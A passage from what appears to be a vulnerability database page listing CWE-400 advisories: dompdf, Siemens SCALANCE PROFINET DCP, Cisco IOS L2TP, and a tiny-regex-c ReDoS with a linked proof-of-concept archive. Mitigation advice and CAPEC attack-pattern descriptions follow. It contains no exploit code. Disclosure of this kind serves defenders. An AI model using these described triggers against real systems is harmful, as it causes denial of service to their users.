"type": "WEB",
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
},
{
"type": "PACKAGE",
"url": "https://github.com/dompdf/dompdf"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dompdf: Uncontrolled resource consumption based on declared BMP dimensions"
}
GHSA-8HGR-9VMC-8GQJ
Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2024-04-04 03:14A vulnerability has been identified in SCALANCE X204RNA (HSR) (All versions < V3.2.7), SCALANCE X204RNA (PRP) (All versions < V3.2.7), SCALANCE X204RNA EEC (HSR) (All versions < V3.2.7), SCALANCE X204RNA EEC (PRP) (All versions < V3.2.7), SCALANCE X204RNA EEC (PRP/HSR) (All versions < V3.2.7). Specially crafted PROFINET DCP packets could cause a denial of service condition of affected products.
{
"affected": [],
"aliases": [
"CVE-2022-46352"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T16:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SCALANCE X204RNA (HSR) (All versions \u003c V3.2.7), SCALANCE X204RNA (PRP) (All versions \u003c V3.2.7), SCALANCE X204RNA EEC (HSR) (All versions \u003c V3.2.7), SCALANCE X204RNA EEC (PRP) (All versions \u003c V3.2.7), SCALANCE X204RNA EEC (PRP/HSR) (All versions \u003c V3.2.7). Specially crafted PROFINET DCP packets could cause a denial of service condition of affected products.",
"id": "GHSA-8hgr-9vmc-8gqj",
"modified": "2024-04-04T03:14:05Z",
"published": "2022-12-13T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46352"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-363821.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8HJ8-9M54-WVPW
Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2022-05-13 01:25A vulnerability in the Layer 2 Tunneling Protocol (L2TP) parsing function of Cisco IOS (12.0 through 12.4 and 15.0 through 15.6) and Cisco IOS XE (3.1 through 3.18) could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to insufficient validation of L2TP packets. An attacker could exploit this vulnerability by sending a crafted L2TP packet to an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a denial of service (DoS) condition. This vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or Cisco IOS XE Software if the L2TP feature is enabled for the device and the device is configured as an L2TP Version 2 (L2TPv2) or L2TP Version 3 (L2TPv3) endpoint. By default, the L2TP feature is not enabled. Cisco Bug IDs: CSCuy82078.
{
"affected": [],
"aliases": [
"CVE-2017-3857"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-22T19:59:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Layer 2 Tunneling Protocol (L2TP) parsing function of Cisco IOS (12.0 through 12.4 and 15.0 through 15.6) and Cisco IOS XE (3.1 through 3.18) could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to insufficient validation of L2TP packets. An attacker could exploit this vulnerability by sending a crafted L2TP packet to an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a denial of service (DoS) condition. This vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or Cisco IOS XE Software if the L2TP feature is enabled for the device and the device is configured as an L2TP Version 2 (L2TPv2) or L2TP Version 3 (L2TPv3) endpoint. By default, the L2TP feature is not enabled. Cisco Bug IDs: CSCuy82078.",
"id": "GHSA-8hj8-9m54-wvpw",
"modified": "2022-05-13T01:25:06Z",
"published": "2022-05-13T01:25:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3857"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170322-l2tp"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97010"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038100"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8HJH-2XHJ-MX62
Vulnerability from github – Published: 2026-06-08 03:47 – Updated: 2026-06-08 03:47A flaw has been found in kokke tiny-regex-c up to f2632c6d9ed25272987471cdb8b70395c2460bdb. This vulnerability affects the function matchstar of the file re.c of the component Pattern Handler. This manipulation causes inefficient regular expression complexity. The attack is restricted to local execution. The exploit has been published and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-11478"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-08T03:16:19Z",
"severity": "LOW"
},
"details": "A flaw has been found in kokke tiny-regex-c up to f2632c6d9ed25272987471cdb8b70395c2460bdb. This vulnerability affects the function matchstar of the file re.c of the component Pattern Handler. This manipulation causes inefficient regular expression complexity. The attack is restricted to local execution. The exploit has been published and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-8hjh-2xhj-mx62",
"modified": "2026-06-08T03:47:24Z",
"published": "2026-06-08T03:47:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11478"
},
{
"type": "WEB",
"url": "https://github.com/kokke/tiny-regex-c/issues/100"
},
{
"type": "WEB",
"url": "https://github.com/kokke/tiny-regex-c"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/28046213/tiny-regex-c-redos-poc.zip"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-11478"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/833966"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/369098"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/369098/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.